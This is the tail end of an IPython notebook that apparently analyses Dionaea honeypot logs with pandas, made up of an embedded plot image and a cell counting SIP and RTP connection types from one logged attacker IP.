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\nAElFTkSuQmCC\n",
       "text": [
        "<matplotlib.figure.Figure at 0x1082a4ad0>"
       ]
      }
     ],
     "prompt_number": 38
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "dionaea_df[dionaea_df.allattackerIP == '88.150.240.125'].connection_protocol.value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 39,
       "text": [
        "SipSession      387\n",
        "SipCall          65\n",
        "RtpUdpStream      1\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 39
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [],
     "language": "python",
     "metadata": {},
     "outputs": []
    }
   ],
   "metadata": {}
  }
 ]
}